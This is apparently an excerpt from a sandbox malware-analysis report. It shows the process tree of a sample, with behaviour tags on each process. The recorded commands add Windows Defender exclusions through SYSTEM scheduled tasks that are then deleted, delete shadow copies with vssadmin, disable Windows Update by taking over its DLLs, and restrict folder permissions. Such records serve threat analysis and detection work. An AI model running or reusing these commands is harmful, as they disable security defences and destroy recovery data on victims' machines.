  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2492
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4936
- C:\Program Files (x86)\2mGBsP\2mGBsP.exe
  "C:\Program Files (x86)\2mGBsP\2mGBsP.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5164
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5496
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:552
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1900
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:612
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5776
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5356
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3728
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4956
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4964
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1668
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4068
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2096
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:1340
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5032
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5536
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4380
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3304
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1152
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5404
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5296
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:804
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4256
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4196
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5968
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1344
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2384
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:260
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5816
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:5576
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\2mGBsP\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\2mGBsP\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:6044
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\2mGBsP.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\2mGBsP.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\2mGBsP.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\2mGBsP.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4676
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\2mGBsP.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\2mGBsP.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5312
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4752
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4652
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4136
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5964
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5344
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4856
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3024
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3520
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2752
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3916
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:252
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5992
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5996
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1264
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5852
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\2mGBsP\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\2mGBsP\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5688
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:2020
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4900
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4168
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1412
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:272
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:6140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3676
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:6032

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\U92taw" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5848
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\U92taw" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2272

C:\Users\Public\U92taw\6JpBam.exe
"C:\Users\Public\U92taw\6JpBam.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6040

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4864

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
